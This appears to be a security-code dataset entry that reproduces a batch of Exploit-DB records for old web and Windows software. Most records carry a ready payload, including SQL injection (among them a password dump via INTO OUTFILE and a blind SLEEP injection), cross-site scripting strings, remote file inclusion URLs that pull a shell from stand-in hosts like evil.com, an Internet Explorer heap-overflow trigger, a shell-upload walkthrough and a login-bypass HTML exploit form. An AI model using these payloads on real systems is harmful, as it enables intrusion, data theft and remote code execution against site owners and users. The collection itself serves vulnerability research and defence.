QLWD/code_shield huggingface dataset:
标题: Easy Address Book Web Server 1.2 - Remote Format String EDB-ID: 28489 CVE: 2006-4654 类型: REMOTE 平台: WINDOWS 发布日期: 2006-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/19842/info

Easy Address Book Web Server is prone to a remote format-string vulnerability because the application fails to properly sanitize user-supplied data before including it in the format-specifier argument to a formatted-printing function.

This issue allows remote attackers to execute arbitrary machine code in the context of the affected server process, facilitating the complete compromise of affected computers. Failed exploit attempts will likely crash the service.

Easy Address Book Web Server version 1.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/?%25n URL: https://www.exploit-db.com/exploits/28489
标题: Autentificator 2.01 - 'Aut_Verifica.Inc.php' SQL Injection EDB-ID: 28473 CVE: 2006-4599 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/19813/info

Autentificator is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 2.01 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/aut_verifica.inc.php?user='+[SQL]&pass=something URL: https://www.exploit-db.com/exploits/28473
标题: SoftBB 0.1 - 'Page' Cross-Site Scripting EDB-ID: 28490 CVE: 2006-4593 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/19847/info

SoftBB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?page=<script>alert('hacking%20xss')</script> URL: https://www.exploit-db.com/exploits/28490
标题: WordPress Plugin NOSpamPTI - Blind SQL Injection EDB-ID: 28485 CVE: 2013-5917 类型: WEBAPPS 平台: PHP 发布日期: 2013-09-23 漏洞利用脚本: [ NOSpamPTI Wordpress plugin Blind SQL Injection ]

[ Vendor product description ]

NOSpamPTI eliminates the spam in your comment box so strong and free,
developed from the idea of Nando Vieira <a href="http://bit.ly/d38gB8"
rel="nofollow">http://bit.ly/d38gB8</a>, but some themes do not support
changes to the functions.php to this we alter this function and
available as a plugin. Make good use of this plugin and forget all the Spam.

[ Bug Description ]

NOSpamPTI contains a flaw that may allow an attacker to carry out a
Blind SQL injection attack. The issue is due to the wp-comments-post.php
script not properly sanitizing the comment_post_ID in POST data. This
may allow an attacker to inject or manipulate SQL queries in the
back-end database, allowing for the manipulation or disclosure of
arbitrary data.

[ History ]

Advisory sent to vendor on 09/09/2013
Vendor reply 09/20/2013. According the vendor, the plugin was deprecated.

[ Impact ]

HIGH

[ Afected Version ]

2.1

[ CVE Reference]

CVE-2013-5917

[ POC ]

Payload:
POST /wordpress/wp-comments-post.php

author=1&challenge=1&challenge_hash=e4da3b7fbbce2345d7772b0674a318d5&comment=1&comment_parent=0&comment_post_ID=1
AND SLEEP(5)&email=sample@email.tst&submit=Post Comment&url=1

[ Vulnerable code ]

$post_id = $_POST['comment_post_ID'];

load_plugin_textdomain('nospampti',
WP_PLUGIN_URL.'/nospampti/languages/', 'nospampti/languages/');

    if ($hash != $challenge) {
        $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID =
{$comment_id}");
        $count = $wpdb->get_var("select count(*) from $wpdb->comments
where comment_post_id = {$post_id} and comment_approved = '1'");


[ Reference ]

[1] No SpamPTI SVN repository -
http://plugins.svn.wordpress.org/nospampti/trunk/nospampti.php
[2] Owasp - https://owasp.org/index.php/SQL_Injection
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/

--------------------------------------------
iBliss Segurança e Inteligência - Sponsor: Alexandro Silva - Alexos URL: https://www.exploit-db.com/exploits/28485
标题: Internet Security Systems 3.6 BlackICE - Local Denial of Service EDB-ID: 28469 CVE: 2006-4541 类型: DOS 平台: WINDOWS 发布日期: 2006-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/19800/info

Internet Security Systems (ISS) BlackICE PC Protection is prone to a local denial-of-service vulnerability because the application fails to properly sanitize user-supplied input.

This vulnerability allows local attackers to crash affected systems, facilitating a denial-of-service condition on the local computer. Remote code execution may also be possible if the vulnerability is exploited in privileged kernel mode.

Versions 3.6.cpn, 3.6.cpj, and 3.6.cpiE are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28469.zip URL: https://www.exploit-db.com/exploits/28469
标题: VBZoom 1.11 - 'profile.php' Cross-Site Scripting EDB-ID: 28470 CVE: 2006-4634 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/19803/info

VBZooM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/index.php?UserID=http://www.example.com URL: https://www.exploit-db.com/exploits/28470
标题: VisualShapers EZContents 2.0.3 - 'Loginreq2.php' Cross-Site Scripting EDB-ID: 28465 CVE: 2006-4479 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19780/info

ezContents is prone to a cross-site scripting vulnerability because it fails to sanitize input before displaying it to users of the application.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/loginreq2.php?subgroupname="><script>alert(666)</script> URL: https://www.exploit-db.com/exploits/28465
标题: Learn.com - 'Learncenter.asp' Cross-Site Scripting EDB-ID: 28466 CVE: 2006-4540 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19781/info

Learn.com learncenter is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/learncenter.asp?id="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/28466
标题: EZContents 2.0.3 - 'review_summary.php?GLOBALS[admin_home]' Remote File Inclusion EDB-ID: 28460 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info
       
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
       
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
       
http://www.example.com/modules/reviews/review_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28460
标题: EZContents 2.0.3 - 'search.php?GLOBALS[language_home]' Remote File Inclusion EDB-ID: 28461 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info
        
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
        
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/modules/search/search.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28461
标题: EZContents 2.0.3 - 'shownews.php?GLOBALS[admin_home]' Remote File Inclusion EDB-ID: 28458 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info
     
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
     
http://www.example.com/modules/news/shownews.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28458
标题: EZContents 2.0.3 - 'showlinks.php?GLOBALS[admin_home]' Remote File Inclusion EDB-ID: 28457 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info
    
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
    
http://www.example.com/modules/links/showlinks.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28457
标题: EZContents 2.0.3 - 'showpoll.php?GLOBALS[admin_home]' Remote File Inclusion EDB-ID: 28459 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info
      
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
      
http://www.example.com/modules/poll/showpoll.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28459
标题: EZContents 2.0.3 - 'toprated.php?GLOBALS[language_home]' Remote File Inclusion EDB-ID: 28462 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info
         
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
         
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/modules/toprated/toprated.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28462
标题: VisualShapers EZContents 2.0.3 - 'Headeruserdata.php' SQL Injection EDB-ID: 28464 CVE: 2006-4478 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19777/info

ezContents is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/headeruserdata.php?groupname=' UNION SELECT userpassword FROM authors INTO OUTFILE '/www/passwd.txt' # URL: https://www.exploit-db.com/exploits/28464
标题: EZContents 2.0.3 - 'showguestbook.php?GLOBALS[admin_home]' Remote File Inclusion EDB-ID: 28456 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info
   
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
   
http://www.example.com/modules/guestbook/showguestbook.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28456
标题: EZContents 2.0.3 - 'calendar.php?GLOBALS[language_home]' Remote File Inclusion EDB-ID: 28454 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info
 
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/modules/calendar/calendar.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28454
标题: EZContents 2.0 - 'gallery_summary.php?GLOBALS[admin_home]' Remote File Inclusion EDB-ID: 28455 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info
  
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/modules/gallery/gallery_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28455
标题: EZContents 2.0.3 - 'event_list.php?GLOBALS[admin_home]' Remote File Inclusion EDB-ID: 28453 CVE: 2006-4477 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19776/info

ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls URL: https://www.exploit-db.com/exploits/28453
标题: WordPress Plugin Lazy SEO 1.1.9 - Arbitrary File Upload EDB-ID: 28452 CVE: 2013-5961 类型: WEBAPPS 平台: PHP 发布日期: 2013-09-22 漏洞利用脚本: #######################################################################
# Exploit Title :  Wordpress Lazy SEO plugin Shell Upload Vulnerability
#
# Exploit Author : Ashiyane Digital Security Team
#
# Google Dork: : inurl:/wp-content/plugins/lazy-seo/
#
# Date: 2013/09/21
#
# Vendor Homepage : http://wordpress.org/plugins/lazy-seo
#
# Software Link : http://downloads.wordpress.org/plugin/lazy-seo.1.1.9.zip
#
# Version : 1.1.9
#
# Tested on: Windows
#
##############
#
#Location: Site/wp-content/plugins/lazy-seo/lazyseo.php
#
##############
#1.Go to address : Site/wp-content/plugins/lazy-seo/lazyseo.php
#2.Click on Browse...
#3.Select Shell Code
#3.Complete the fields
#4.Press Enter
#5.Shell Address : wp-content/plugins/lazy-seo/Shell.php
##############
#
# Discovered By : ACC3SS
#
############## URL: https://www.exploit-db.com/exploits/28452
标题: ModuleBased CMS - Multiple Remote File Inclusions EDB-ID: 28440 CVE: 2006-4545 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/19754/info

ModuleBased CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version pre-alpha is vulnerable; other versions may also be affected.

+http://www.example.com/[mbcms]/admin/avatar.php?_SERVER=http://www.example.com +http://www.example.com/[mbcms]/libs/archive.class.php?_SERVER=http://www.example.com +http://www.example.com/[mbcms]/libs/login.php?_SERVER=http://www.example.com +http://www.example.com/[mbcms]/libs/profile.class.php?_SERVER=http://www.example.com +http://www.example.com/[mbcms]/libs/profile/process.php?_SERVER=http://www.example.com URL: https://www.exploit-db.com/exploits/28440
标题: HLstats 1.34 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28446 CVE: 2006-4543 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19771/info

HLstats is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may help an attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.34 is reported vulnerable; other versions may also be affected.

http://www.example.com/index.php?mode=players&game=%3Cscript%3Ealert(123)%3C/script%3E 
http://www.example.com/index.php?mode=weaponinfo&weapon=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc http://www.example.com/index.php?mode=search&q=whatever&st=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc http://www.example.com/index.php?mode=actioninfo&action=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc http://www.example.com/index.php?mode=mapinfo&map=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc (instead of 'tfc' you should use the game, HLstats is configurated for) URL: https://www.exploit-db.com/exploits/28446
标题: IwebNegar 1.1 - 'comments.php' SQL Injection EDB-ID: 28441 CVE: 2006-4497 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19757/info

IwebNegar is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

IwebNegar 1.1 is reportedly affected by this issue; other versions may be affected as well.

http://www.example.com/comments.php?id=[SQL Query] URL: https://www.exploit-db.com/exploits/28441
标题: Alstrasoft Template Seller - 'Config[Template_Path]' Multiple Remote File Inclusions EDB-ID: 28444 CVE: 2006-4591 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19769/info

AlstraSoft Template Seller is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[Script Path]/payment/payment_result.php?config[template_path]=http://atacker.com/shell.txt? URL: https://www.exploit-db.com/exploits/28444
标题: HLstats 1.34 - 'hlstats.php' Cross-Site Scripting EDB-ID: 28439 CVE: 2006-4454 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/19745/info

HLstats is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied data.

Exploiting this issue may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.34 is reportedly affected by this issue; other versions may also be affected.

http://www.example.com/hlstats.php?mode=search&game=cstrike&st=player&q=%22%3CSCRIPT%3Ealert%28%22XSS%22%29%3B%3C%2FSCRIPT%3E%22 URL: https://www.exploit-db.com/exploits/28439
标题: Microsoft Internet Explorer 5.0.1 - Daxctle.OCX Spline Method Heap Buffer Overflow EDB-ID: 28438 CVE: 2006-4446 类型: REMOTE 平台: WINDOWS 发布日期: 2006-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/19738/info

Microsoft Internet Explorer is prone to a heap buffer-overflow vulnerability.. 

The vulnerability arises because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls. 

An attacker can exploit this issue to execute arbitrary code within context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

// Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
// tested on Windows 2000 SP4/XP SP2/2003 SP1

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {D7A7D7C3-D47F-11D0-89D3-00A0C90833E6}
// Info: Microsoft DirectAnimation Path
// ProgID: DirectAnimation.PathControl
// InprocServer32: C:\WINNT\system32\daxctle.ocx

--!>
<html>
<head>
<title>test</title>
</head>
<body>
<script>

var target = new ActiveXObject("DirectAnimation.PathControl");

target.Spline(0xffffffff, 1);

</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/28438
标题: Digiappz Freekot 1.01 - ASP SQL Injection EDB-ID: 28443 CVE: 2006-4524 类型: WEBAPPS 平台: ASP 发布日期: 2006-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/19768/info

Digiappz Freekot is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit could allow an attacker to compromise the application, retrieve sensitive information, or modify data; other consequences are possible as well.

<html> <head><title>KAPDA :: Freekot SQL-Injection Vulnerability , Login bypass exploit </title></head> <body bgcolor="black"> <script language="JavaScript"> function egxpl() { if (document.xplt.victim.value=="") { alert("Please enter victim site!"); return false; } if (confirm("Are you sure?")) { xplt.action=document.xplt.victim.value+"/login_verif.asp"; xplt.login.value=document.xplt.login.value; xplt.password.value=document.xplt.password.value; xplt.submit(); } } </script><font face=Verdana size=2 color="#00FF00"><center><b>KAPDA :: Freekot SQL-Injection Vulnerability<br> Discovered and coded by FarhadKey From KAPDA.IR<br> Special Thx to Hessam-x From Anti-Security.net (Hackerz.ir)<br></b> <form name="xplt" method="post" onsubmit="egxpl();"> <br>Victim Path : (insert http:// for path)<br> <input type="text" name="victim" value="http://www.victim.com/FreeKot_Path/" size="44" class="xpl" style="color: #00FF00; background-color: #000000"><br> <input type="hidden" name="login" value="'or'"> <input type="hidden" name="password" value="'or'"><br> <!-- Discovered and coded by FarhadKey . Kapda.ir --> <input type="submit" value="GO !!!" style="color: #00FF00; background-color: #000000"> </form></body></html> URL: https://www.exploit-db.com/exploits/28443